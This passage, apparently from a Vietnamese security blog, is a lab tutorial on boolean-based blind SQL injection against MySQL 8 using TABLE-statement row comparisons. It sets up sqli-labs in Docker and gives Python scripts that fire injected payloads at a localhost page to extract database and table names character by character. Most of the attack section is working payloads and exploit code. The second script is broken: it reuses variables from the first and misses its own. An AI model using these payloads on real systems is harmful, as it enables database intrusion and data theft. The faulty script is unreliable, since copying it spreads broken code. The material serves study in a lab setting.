class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;n&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;n&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                  <span class="number">0</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>Câu lệnh này ở đây phần sẽ tương đương với việc so sánh chuỗi thứ 2 thuộc (‘def’,’m’,3,4,5,6) với chuỗi thứ 2 từ information_schema.schemata. Và với chỉ 1 kí tự nó sẽ so sánh kí tự đó với kí tự đầu của chuỗi, ở đây là <code>l và mysql sẽ tương đương với so sánh l với m</code>. Và vì l&lt;&#x3D;m nên trả về true, m&lt;&#x3D;m nên cũng trả về true, và với n&gt;m nên trả về false. Vậy với việc select với boolean mà ra giá trị có nghĩa là kí tự đó vẫn đang &lt;&#x3D; kí tự cần tìm. Rồi đến khi clause là false tương đương với kí tự đó lớn hơn kí tự cần tìm, thì ta sẽ xác định kí tự trước đó là kí tự chúng ta cần tìm.</p><p>Tương tự như thế và ta sẽ có được tên database đầu tiên.</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;ms&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;ms&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                   <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;my&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;my&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                   <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mz&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mz&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                   <span class="number">0</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">---------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.01</span> sec)</span><br></pre></td></tr></table></figure><p>Tiếp tục chúng ta sẽ thay đổi limit clause để lấy từng database ra.</p><h2 id="Test-truc-tiep-bang-sql-labs"><a href="#Test-truc-tiep-bang-sql-labs" class="headerlink" title="Test trực tiếp bằng sql-labs"></a>Test trực tiếp bằng sql-labs</h2><h3 id="Xay-dung-moi-truong"><a href="#Xay-dung-moi-truong" class="headerlink" title="Xây dựng môi trường:"></a>Xây dựng môi trường:</h3><p>Đầu tiên các bạn cần cài đặt docker, khá là dễ thôi nên các bạn tự mình cài lấy nhé.</p><p>Cài đặt sqli-labs:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/c0ny1/vulstudy.git</span><br><span class="line"><span class="built_in">cd</span> vulstudy/sqli-labs</span><br><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p>Tiếp theo cài đặt Mysql 8:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker pull mysql:lastest</span><br><span class="line">docker run --name mysql -p (Địa chỉ ip của bạn, không có dấu ngoặc nhé):3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mysql:tag</span><br></pre></td></tr></table></figure><p>Trong terminal gõ <code>docker ps</code> để lấy id của container.<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/mysql8/dockerContainer.png"><br>Tiếp theo thay đổi cấu hình của sqli-labs:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">pwn@DESKTOP-AC6UABE:pts/3-&gt;/home/pwn (0)</span><br><span class="line">&gt; docker <span class="built_in">exec</span> -it e70d0c13145d /bin/bash</span><br><span class="line">--------------------</span><br><span class="line">root@e70d0c13145d:/<span class="comment"># ls</span></span><br><span class="line">app   create_mysql_admin_user.sh  home   media  proc  run.sh  start-apache2.sh  tmp</span><br><span class="line">bin   dev                         lib    mnt    root  sbin    start-mysqld.sh   usr</span><br><span class="line">boot  etc                         lib64  opt    run   srv     sys               var</span><br><span class="line">--------------------</span><br><span class="line"><span class="built_in">cd</span> app</span><br><span class="line"><span class="built_in">cd</span> sql-connections</span><br></pre></td></tr></table></figure><p>Tiếp theo sử dụng vim để thay đổi nội dung của file db-creds.inc. Hơi khó sử dụng, các bạn tự đọc nhé ^^.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">vi db-creds.inc</span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">//give your mysql connection username n password</span><br><span class="line"><span class="variable">$dbuser</span> =<span class="string">&#x27;root&#x27;</span>;</span><br><span class="line"><span class="variable">$dbpass</span> =<span class="string">&#x27;root&#x27;</span>;//đổi theo mật khẩu đặt <span class="built_in">tr</span>ên câu lệnh mysql <span class="built_in">tr</span>ên.</span><br><span class="line"><span class="variable">$dbname</span> =<span class="string">&quot;security&quot;</span>;</span><br><span class="line"><span class="variable">$host</span> = <span class="string">&#x27;172.30.144.1&#x27;</span>;//đổi lại thành ip nhập ở câu lệnh mysql <span class="built_in">tr</span>ên kia nhé</span><br><span class="line"><span class="variable">$dbname1</span> = <span class="string">&quot;challenges&quot;</span>;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>Cấu hình mysql:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">pwn@DESKTOP-AC6UABE:pts/3-&gt;/home/pwn (0)</span><br><span class="line">&gt; docker <span class="built_in">exec</span> -it e99f25e4be29 /bin/bash</span><br><span class="line">root@e99f25e4be29:/<span class="comment"># mysql -u root -p</span></span><br><span class="line">Enter password: </span><br><span class="line">// Đoạn này nhập mk vào nhé, ở đây mình đặt root nên nhập root. Nếu các bạn làm theo mình thì cũng là root. </span><br><span class="line">Welcome to the MySQL monitor.  Commands end with ; or \g.</span><br><span class="line">Your MySQL connection <span class="built_in">id</span> is 8</span><br><span class="line">Server version: 8.0.29 MySQL Community Server - GPL</span><br><span class="line"></span><br><span class="line">Copyright (c) 2000, 2022, Oracle and/or its affiliates.</span><br><span class="line"></span><br><span class="line">Oracle is a registered trademark of Oracle Corporation and/or its</span><br><span class="line">affiliates. Other names may be trademarks of their respective</span><br><span class="line">owners.</span><br><span class="line"></span><br><span class="line">Type <span class="string">&#x27;help;&#x27;</span> or <span class="string">&#x27;\h&#x27;</span> <span class="keyword">for</span> <span class="built_in">help</span>. Type <span class="string">&#x27;\c&#x27;</span> to clear the current input statement.</span><br><span class="line"></span><br><span class="line">mysql&gt;</span><br><span class="line">Cuối cùng gõ:</span><br><span class="line">mysql&gt; ALTER USER <span class="string">&#x27;root&#x27;</span> IDENTIFIED WITH mysql_native_password BY <span class="string">&#x27;root&#x27;</span>;</span><br><span class="line">Query OK, 0 rows affected (0.00 sec)</span><br></pre></td></tr></table></figure><p>Thế là đã xong. Bây giờ gõ localhost trên trình duyệt là sẽ thấy trang web.<br><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/mysql8/localhost.png"></p><h3 id="Dump-database"><a href="#Dump-database" class="headerlink" title="Dump database:"></a>Dump database:</h3><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/mysql8/database_test.png"></p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/images/post/mysql8/database_test_false.png"></p><p>Vế phía sau and trả về true thì trên màn hình sẽ có <code>Your Login name</code> và <code>Your Password</code>, còn trả về false thì sẽ không xuất hiện gì cả. Từ đây chúng ta có thể sử dụng boolean sqli kết hợp câu lệnh table để dump ra database.</p><p>Chúng ta cần lưu ý về kí tự cuối cùng, <code>(&#39;def&#39;,&#39;mysql&#39;,3,4,5,6)</code> sẽ không bằng với (table information_schema.schemata limit 0,1) nên kí tự cuối sẽ dừng ở chữ k, chuổi bây giờ sẽ là mysqk và với các kí tự nhiễu sau nó sẽ là không bằng và sẽ tiếp tục chạy. Ví dụ ở script dưới sẽ dừng khi i chạy hết 1 đến 20. Khi đó chúng ta có thể cho chạy vậy hoặc lọc cái đó ra vì nó không ảnh hưởng đến kết quả(các bạn test thì sẽ thấy ^^).</p><p>Ví dụ:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--Kí tự bình thường.</span></span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysp&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysp&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                     <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysq&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysq&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                     <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.01</span> sec)</span><br><span class="line"></span><br><span class="line"><span class="comment">--Kí tự cuối:</span></span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysqk&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysqk&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                      <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysql&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;mysql&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                      <span class="number">0</span> <span class="operator">|</span> <span class="comment">-- Trả về false</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Script dump database:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line">url = <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Nhập index kí tự cần tìm (VD: 1,2,3,...): &quot;</span>)</span><br><span class="line">index_db = <span class="built_in">str</span>(<span class="built_in">int</span>(<span class="built_in">input</span>())-<span class="number">1</span>)</span><br><span class="line">db_name = <span class="string">&quot;&quot;</span></span><br><span class="line">count = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">    <span class="keyword">if</span> count &gt; <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="string">&quot;`abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;</span>:</span><br><span class="line">        payload = <span class="string">&quot;1&#x27; and (&#x27;def&#x27;,&#x27;&#123;&#125;&#x27;,3,4,5,6)&lt;=(table information_schema.schemata limit &#123;&#125;,1)-- -&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">            db_name+j, index_db)</span><br><span class="line">        <span class="built_in">print</span>(db_name+j)</span><br><span class="line">        <span class="comment"># print(url+payload)</span></span><br><span class="line">        payload_encoded = urllib.parse.quote(payload)</span><br><span class="line">        r = requests.get(url=url+payload_encoded)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Your Login name&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">            <span class="comment"># print(r.text)</span></span><br><span class="line">            <span class="comment"># bước này mình check khi nó bị nhiễu ở kí tự cuối</span></span><br><span class="line">            <span class="keyword">if</span> j == <span class="string">&#x27;~&#x27;</span>:</span><br><span class="line">                count += <span class="number">1</span></span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="comment"># print(r.text)</span></span><br><span class="line">            db_name += <span class="built_in">chr</span>(<span class="built_in">ord</span>(j)-<span class="number">1</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"><span class="comment"># Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1</span></span><br><span class="line">list_dbname = <span class="built_in">list</span>(db_name)</span><br><span class="line">list_dbname[-<span class="number">1</span>] = <span class="built_in">chr</span>(<span class="built_in">ord</span>(list_dbname[-<span class="number">1</span>])+<span class="number">1</span>)</span><br><span class="line">db_name = <span class="string">&quot;&quot;</span>.join(list_dbname)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Database name is: &quot;</span>+db_name)</span><br></pre></td></tr></table></figure><h3 id="Dump-table"><a href="#Dump-table" class="headerlink" title="Dump table:"></a>Dump table:</h3><p>Tìm số cột của bảng information_schema.tables:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">table</span> information_schema.tables <span class="keyword">order</span> <span class="keyword">by</span> <span class="number">21</span>;</span><br><span class="line">Trả về cái bảng, nhìu quá mình ghi vậy cho nhanh :P</span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">table</span> information_schema.tables <span class="keyword">order</span> <span class="keyword">by</span> <span class="number">22</span>;</span><br><span class="line">ERROR <span class="number">1054</span> (<span class="number">42</span>S22): <span class="literal">Unknown</span> <span class="keyword">column</span> <span class="string">&#x27;22&#x27;</span> <span class="keyword">in</span> <span class="string">&#x27;order clause&#x27;</span></span><br></pre></td></tr></table></figure><p>Vậy bảng này có 21 cột.</p><p>Payload tiếp theo sẽ có dạng:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost/Less-1/?id=1&#x27; and(&#x27;def&#x27;,&#x27;mysql&#x27;,&#x27;a&#x27;,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)&lt;=(table information_schema.tables limit  0,1)-- -</span><br></pre></td></tr></table></figure><p>Ở đây, ô đầu tiên là def, ô thứ 2 là database cần tìm table, ô thứ 3 là table. Các ô sau là không quan trọng. Tuy nhiên chúng ta cần phải limit table đúng với từng database. Không có một cách tìm cụ thể, nên việc test khoảng tìm là cần thiết.</p><p>Đây là source cho việc dump table_name của mysql</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line">url = <span class="string">&#x27;http://localhost/Less-1/?id=&#x27;</span></span><br><span class="line">table_name = <span class="string">&quot;&quot;</span></span><br><span class="line">all_table_name = []</span><br><span class="line">count = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> index_table <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">300</span>):</span><br><span class="line">    count = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">        <span class="keyword">if</span> count &gt; <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="string">&quot;`abcdefghijklmnopqrstuvwxyz-&#123;|&#125;~&quot;</span>:</span><br><span class="line">            payload = <span class="string">&quot;1&#x27; and (&#x27;def&#x27;,&#x27;sys&#x27;,&#x27;&#123;&#125;&#x27;,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)&lt;=(table information_schema.tables limit &#123;&#125;,1)-- -&quot;</span>.<span class="built_in">format</span>(</span><br><span class="line">                table_name+j, index_table)</span><br><span class="line">            <span class="built_in">print</span>(table_name+j)</span><br><span class="line">            <span class="comment"># print(url+payload)</span></span><br><span class="line">            payload_encoded = urllib.parse.quote(payload)</span><br><span class="line">            r = requests.get(url=url+payload_encoded)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Your Login name&quot;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">                <span class="comment"># print(r.text)</span></span><br><span class="line">                <span class="comment"># bước này mình check khi nó bị nhiễu ở kí tự cuối</span></span><br><span class="line">                <span class="keyword">if</span> j == <span class="string">&#x27;~&#x27;</span>:</span><br><span class="line">                    count += <span class="number">1</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># print(r.text)</span></span><br><span class="line">                table_name += <span class="built_in">chr</span>(<span class="built_in">ord</span>(j)-<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="comment"># Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1</span></span><br><span class="line">    list_tablename = <span class="built_in">list</span>(table_name)</span><br><span class="line">    list_tablename[-<span class="number">1</span>] = <span class="built_in">chr</span>(<span class="built_in">ord</span>(list_tablename[-<span class="number">1</span>])+<span class="number">1</span>)</span><br><span class="line">    table_name = <span class="string">&quot;&quot;</span>.join(list_dbname)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Table name is: &quot;</span>+table_name)</span><br><span class="line">    <span class="keyword">if</span> db_name == <span class="string">&quot;__________________`&quot;</span>:</span><br><span class="line">    <span class="comment"># dòng này là mình với payload của mình, payload nhiễu sẽ hiện ra cái này --&gt; dấu hiệu nhận biết.</span></span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    all_table_name.append(db_name)</span><br><span class="line">    table_name = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;All table name:&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(all_table_name)</span><br></pre></td></tr></table></figure><p>Hmm, ở trên k hay cho lắm cái này thuận lợi cho việc dò tìm hơn:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span 